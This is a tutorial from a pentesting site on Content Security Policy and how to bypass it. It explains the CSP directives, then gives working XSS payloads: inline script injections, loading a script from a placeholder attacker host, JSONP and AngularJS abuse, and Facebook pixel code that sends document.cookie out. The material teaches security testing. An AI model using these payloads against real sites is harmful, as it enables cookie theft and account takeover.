Content Security Policy (CSP) bypass
Become VeryLazyTech member! 🎁
Follow us on:
✖ Twitter @VeryLazyTech.
👾 Github @VeryLazyTech.
📜 Medium @VeryLazyTech.
📺 YouTube @VeryLazyTech.
📩 Telegram @VeryLazyTech.
🕵️♂️ My Site @VeryLazyTech.
Visit our shop for e-books and courses. 📚
Basic info
Content Security Policy (CSP) is recognized as a browser technology, primarily aimed at shielding against attacks such as cross-site scripting (XSS). It functions by defining and detailing paths and sources from which resources can be securely loaded by the browser. These resources encompass a range of elements such as images, frames, and JavaScript. For instance, a policy might permit the loading and execution of resources from the same domain (self), including inline resources and the execution of string code through functions like eval
, setTimeout
, or setInterval
.
Implementation of CSP is conducted through response headers or by incorporating meta elements into the HTML page. Following this policy, browsers proactively enforce these stipulations and immediately block any detected violations.
Implemented via response header:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
Implemented via meta tag:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Headers
CSP can be enforced or monitored using these headers:
Content-Security-Policy
: Enforces the CSP; the browser blocks any violations.Content-Security-Policy-Report-Only
: Used for monitoring; reports violations without blocking them. Ideal for testing in pre-production environments.
Defining Resources
CSP restricts the origins for loading both active and passive content, controlling aspects like inline JavaScript execution and the use of eval()
. An example policy is:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Directives
script-src: Allows specific sources for JavaScript, including URLs, inline scripts, and scripts triggered by event handlers or XSLT stylesheets.
default-src: Sets a default policy for fetching resources when specific fetch directives are absent.
child-src: Specifies allowed resources for web workers and embedded frame contents.
connect-src: Restricts URLs which can be loaded using interfaces like fetch, WebSocket, XMLHttpRequest.
frame-src: Restricts URLs for frames.
frame-ancestors: Specifies which sources can embed the current page, applicable to elements like
<frame>
,<iframe>
,<object>
,<embed>
, and<applet>
.img-src: Defines allowed sources for images.
font-src: Specifies valid sources for fonts loaded using
@font-face
.manifest-src: Defines allowed sources of application manifest files.
media-src: Defines allowed sources for loading media objects.
object-src: Defines allowed sources for
<object>
,<embed>
, and<applet>
elements.base-uri: Specifies allowed URLs for loading using
<base>
elements.form-action: Lists valid endpoints for form submissions.
plugin-types: Restricts mime types that a page may invoke.
upgrade-insecure-requests: Instructs browsers to rewrite HTTP URLs to HTTPS.
sandbox: Applies restrictions similar to the sandbox attribute of an
<iframe>
.report-to: Specifies a group to which a report will be sent if the policy is violated.
worker-src: Specifies valid sources for Worker, SharedWorker, or ServiceWorker scripts.
prefetch-src: Specifies valid sources for resources that will be fetched or prefetched.
navigate-to: Restricts the URLs to which a document can navigate by any means (a, form, window.location, window.open, etc.)
Sources
*
: Allows all URLs except those withdata:
,blob:
,filesystem:
schemes.'self'
: Allows loading from the same domain.'data'
: Allows resources to be loaded via the data scheme (e.g., Base64 encoded images).'none'
: Blocks loading from any source.'unsafe-eval'
: Allows the use ofeval()
and similar methods, not recommended for security reasons.'unsafe-hashes'
: Enables specific inline event handlers.'unsafe-inline'
: Allows the use of inline resources like inline<script>
or<style>
, not recommended for security reasons.'nonce'
: A whitelist for specific inline scripts using a cryptographic nonce (number used once).If you have JS limited execution it's possible to get a used nonce inside the page with
doc.defaultView.top.document.querySelector("[nonce]")
and then reuse it to load a malicious script.
'sha256-<hash>'
: Whitelists scripts with a specific sha256 hash.'strict-dynamic'
: Allows loading scripts from any source if it has been whitelisted by a nonce or hash.'host'
: Specifies a specific host, likeexample.com
.https:
: Restricts URLs to those that use HTTPS.blob:
: Allows resources to be loaded from Blob URLs (e.g., Blob URLs created via JavaScript).filesystem:
: Allows resources to be loaded from the filesystem.'report-sample'
: Includes a sample of the violating code in the violation report (useful for debugging).'strict-origin'
: Similar to 'self' but ensures the protocol security level of the sources matches the document (only secure origins can load resources from secure origins).'strict-origin-when-cross-origin'
: Sends full URLs when making same-origin requests but only sends the origin when the request is cross-origin.'unsafe-allow-redirects'
: Allows resources to be loaded that will immediately redirect to another resource. Not recommended as it weakens security.
Spot Weaknesses (Unsafe Rules)
Some CSP rules are like leaving the back door unlocked. Here’s what to watch for:
'unsafe-inline'
What It Means: Allows inline scripts (e.g., <script>alert(1);</script>).
How to Exploit: Inject <script>alert(1);</script> into an XSS vulnerability.
Example: "/><script>alert(1);</script> works if there’s an input field reflecting your code.
Why It Works: The CSP doesn’t block inline code, so your script runs free.
'unsafe-eval'
What It Means: Allows eval()—a function that runs raw JavaScript strings.
How to Exploit: Use a data URL like <script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script> (base64 for alert(document.domain)).
Tip: Some modern browsers block this, so test it first.
Wildcard (*)
What It Means: Allows resources from any URL (except data:, blob:, etc.).
How to Exploit: Load a script from your server: <script src="https://your-site.com/evil.js"></script>.
Example: "/><script src=https://attacker-website.com/evil.js></script>.
Missing Directives (e.g., object-src or default-src)
What It Means: Older trick to load malicious objects, but modern browsers often block it.
How to Exploit: Try <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> (base64 for <script>alert(1)</script>).
Heads-Up: This is mostly patched, but check older systems.
Exploit File Uploads with 'self'
What It Means: CSP allows scripts from the same site ('self'), and you can upload files.
How to Exploit:
Upload a JavaScript file disguised as something else (e.g., script.png.js).
Inject <script src="/uploads/script.png.js"></script>.
Trick: Some servers (like Apache) don’t recognize weird extensions (e.g., .wave) and serve them as scripts. Use a polyglot (a file that’s both an image and JS) if the server checks formats.
Example: "/><script src="/uploads/picture.png.js"></script>.
Hijack Third-Party Services
Websites often trust big names like Google or Facebook. You can turn that trust against them.
JSONP Endpoints
What It Means: Some APIs (like Google’s search) let you define a callback function.
How to Exploit: <script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script> runs alert(1).
Why It Works: The CSP trusts the domain, and JSONP slips your code in.
Third-Party Abuses (e.g., Facebook, Jsdelivr)
What It Means: CSP allows domains like www.facebook.com or cdn.jsdelivr.net.
How to Exploit:
Sign up for a Facebook Developer account, get an App ID (e.g., 1279785999289471).
Inject: fbq('init', '1279785999289471'); fbq('trackCustom', 'MyEvent', {data: document.cookie});.
Check your Facebook Events Manager for the stolen data.
Tip: Look for domains like *.cloudfront.net or *.firebaseapp.com—they’re often exploitable.
Get Creative with AngularJS
What It Means: If AngularJS is allowed (e.g., from cdnjs.cloudflare.com), it’s a goldmine for XSS.
How to Exploit:
Simple: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script><div ng-app>{{'a'.constructor.prototype.charAt=[].join;$eval('alert(1)')}}</div>.
Events: <input ng-focus="$event.path|orderBy:'alert(document.cookie)'"> escapes CSP sandboxes.
Why It Works: Angular’s flexibility lets you run code even with CSP in place.
Advanced Tricks
Policy Injection
What It Means: If user input tweaks the CSP, you can break it.
How to Exploit:
Chrome: Add ;script-src-elem * to allow all scripts.
Edge: Add ;_ to disable the whole policy.
Example: http://site.com/?x=;script-src-elem+*&y=<script>alert(1)</script>.
Dangling Markup (Missing base-uri)
What It Means: No base-uri means you can hijack relative paths.
How to Exploit: <base href="https://your-site.com/"><script src="/js/app.js"></script> loads your script.
Tip: Use HTTPS if the site does.
Service Workers
What It Means: importScripts() ignores CSP.
How to Exploit: Register a worker to load evil.js from anywhere.
PHP Errors
What It Means: Overload the server (e.g., 1001 GET params) to skip CSP headers.
How to Exploit: Send a huge request and inject <script>alert(1)</script>.
Checking CSP Policies Online
Learn & practice For the OSCP.
Last updated
Was this helpful?